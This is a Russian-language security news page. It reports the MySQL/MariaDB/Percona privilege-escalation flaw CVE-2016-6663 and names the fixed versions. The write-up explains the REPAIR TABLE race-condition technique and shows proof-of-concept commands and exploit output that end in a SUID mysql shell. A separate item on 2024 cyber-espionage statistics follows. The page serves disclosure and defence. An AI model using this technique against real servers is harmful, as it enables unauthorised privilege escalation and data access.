Давид Голански (Dawid Golunski) продолжил публикацию исследований безопасности MySQL. В сентябре им были опубликованы сведения об уязвимости в сервере MySQL, позволяющей повысить свои привилегии до пользователя root.
Техника атаки была ограничена пользователями с правами FILE, но было сказано, что имеется метод обхода данного ограничения и атака может быть совершена любым непривилегированным пользователем СУБД. Спустя месяц Давид раскрыл информацию о новой уязвимости (CVE-2016-6663), позволяющей обойти систему ограничения привилегий MySQL.
Уязвимость затрагивает MySQL и производные продукты, такие как MariaDB и Percona Server, и позволяет локальному пользователю, имеющему доступ к СУБД с типовыми правами на выполнение операций CREATE, INSERT и SELECT, получить полномочия администратора СУБД (обычно пользователь mysql) и возможность записи и чтения любых файлов MySQL, в том числе конфигурационных файлов и БД других пользователей. В сочетании с ранее обнародованной уязвимостью CVE-2016-6662, новая проблема упрощает проведение атаки по получению прав root на сервере с MySQL, пишет opennet.ru.
Уязвимость основана на использовании состояния гонки при работе с таблицами, размещёнными в подконтрольных пользователю директориях. Пользователь с правами "CREATE table" может через параметр "DATA DIRECTORY" задать путь к каталогу, где будет сохранена создаваемая таблица. В том числе таблицу можно разместить в директории, которая принадлежит пользователю, но файлы MySQL в данной директории будут размещены под пользователем mysql:
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/
mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
attacker@debian:~$ ls -l /tmp/disktable/
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD
При выполнении команды "REPAIR TABLE", MySQL создаёт в той же директории временный файл, сохраняет параметры исходного файла таблицы, копирует данные и после завершения работы с временным файлом выполняет операции восстановления прав доступа и переименовывает временный файл в основной файл таблицы. Так как владельцем директории является атакующий и он имеет возможность манипулировать файлами, суть атаки сводится к подмене временного файла в промежуток после проверки параметров файла, но до выполнения chmod(). В итоге атакующий может подставить вместо временного файла символическую ссылку, указывающую на директорию /var/lib/mysql. На завершающей стадии работы "REPAIR TABLE" к ссылке на /var/lib/mysql будет применена операция chmod() с параметрами исходного файла таблицы пользователя, т.е. атакующий получит возможность установить произвольные права доступа на директорию /var/lib/mysql, изменив права на исходный файл со своей таблицей, например, установив на файл с таблицей права 777.
Через манипуляцию с битом SUID и его переносом на исполняемый файл, можно добиться выполнения произвольного кода в системе с правами mysql. Для этого на директорию пользователя следует выставить "sticky bit" и установить права drwxrwsrwx, после чего создание таблицы в данной директории приведёт к образованию файла с правами -rw-rw----, владельцем mysql и группой как у атакующего. Доступ членов группы на запись даёт возможность заменить содержимое файла таблицы на /bin/bash, после чего можно использовать вышеописанное состояние гонки для переноса на файл таблицы suid-бита и прав на запуск. В итоге получим исполняемый файл с копией bash и suid-битом для запуска с правами mysql.
attacker@xenial:~/mysql-exploit$ ./mysql-privesc-race attacker pocsql localhost pocdb
[+] Starting the exploit as:
uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)
[+] Connecting to the database `pocdb` as attacker@localhost
[+] Creating exploit temp directory /tmp/mysql_privesc_exploit
[+] Creating mysql tables
DROP TABLE IF EXISTS exploit_table
DROP TABLE IF EXISTS mysql_suid_shell
CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit'
CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit'
[+] Copying bash into the mysql_suid_shell table.
After the exploitation the following file/table will be assigned SUID and executable bits :
-rw-rw---- 1 mysql attacker 1037528 Nov 1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD
[+] Entering the race loop... Hang in there...
[+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell:
-rwsrwxrwx 1 mysql attacker 1037528 Nov 1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD
[+] Spawning the mysql SUID shell now...
Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)
mysql_suid_shell.MYD-4.3$ whoami
mysql
mysql_suid_shell.MYD-4.3$ id
uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)
mysql_suid_shell.MYD-4.3$ ls -l /var/lib/mysql/mysql/user.*
-rw-rw---- 1 mysql mysql 2879 Oct 29 14:23 /var/lib/mysql/mysql/user.frm
-rw-rw---- 1 mysql mysql 168 Oct 29 22:35 /var/lib/mysql/mysql/user.MYD
-rw-rw---- 1 mysql mysql 4096 Oct 30 00:11 /var/lib/mysql/mysql/user.MYI
Уязвимость устранена в выпусках MySQL 5.5.52, 5.6.33 и 5.7.15, а также в MariaDB 5.5.52, 10.1.18 и 10.0.28, в Percona Server 5.5.51-38.2, 5.6.32-78-1 и 5.7.14-8, в Percona XtraDB Cluster 5.6.32-25.17, 5.7.14-26.17 и 5.5.41-37.0. Так как производители были заведомо информированы о проблеме, обновления пакетов уже выпущены для Debian, RHEL, Ubuntu, FreeBSD, Ubuntu и SUSE.
Время обнаружения кибершпионских атак в 2024 году составило 390 дней, что на 40% больше, чем в прошлом году. Специалисты интегратора «Информзащита» связывают это с усовершенствованием методов маскировки и расширением инструментов для поиска и эксплуатации уязвимостей, которые помогают злоумышленникам проникать в корпоративные инфраструктуры.
По данным «Информзащиты», в 63% случаев для кибершпионажа использовалось специализированное программное обеспечение, а в 41% — инструменты скрытого мониторинга системы. В некоторых случаях применялись обе категории одновременно. Для доставки зловредных файлов в 60% случаев использовался фишинг.
«Основной характеристикой шпионских атак является длительное скрытное присутствие в системе. Современные злоумышленники активно используют методы маскировки: вредоносные программы часто проникают в инфраструктуру под видом легального ПО, или загружаются вместе с ним, шифруют сетевой трафик, удаляют журналы событий, минимизируя риск обнаружения», — отметил директор Центра мониторинга и противодействия кибератакам IZ:SOC «Информзащиты» Александр Матвеев.
Кроме того, злоумышленники активно применяют инструменты для автоматизированного поиска уязвимостей, включая системы имитации атак (BAS, Breach and Attack Simulation). С их помощью они обнаруживают уязвимости нулевого дня, о которых вендор ещё не знает, а значит, для которых ещё не выпущены исправления.
В 2024 году шпионские атаки чаще всего были направлены на промышленный сектор (40% инцидентов) и розничную торговлю (30%). Значительное количество атак также было совершено на медицинские (10%) и образовательные (10%) учреждения.
«Промышленность остаётся одной из наиболее атакуемых отраслей, что объясняется высокой значимостью таких предприятий для экономики, а также необходимостью модернизации их ИТ- и ИБ-систем. Информация, похищенная с таких объектов, может быть использована злоумышленниками для подготовки последующих атак. Ретейл, медицина и образование привлекают внимание хакеров из-за значительных объёмов персональных и корпоративных данных, которые хранятся в этих организациях», — добавил Александр Матвеев.
Подписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.
Свидетельство о регистрации СМИ ЭЛ № ФС 77 - 68398, выдано федеральной службой по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор) 27.01.2017 Разрешается частичное использование материалов на других сайтах при наличии ссылки на источник. Использование материалов сайта с полной копией оригинала допускается только с письменного разрешения администрации.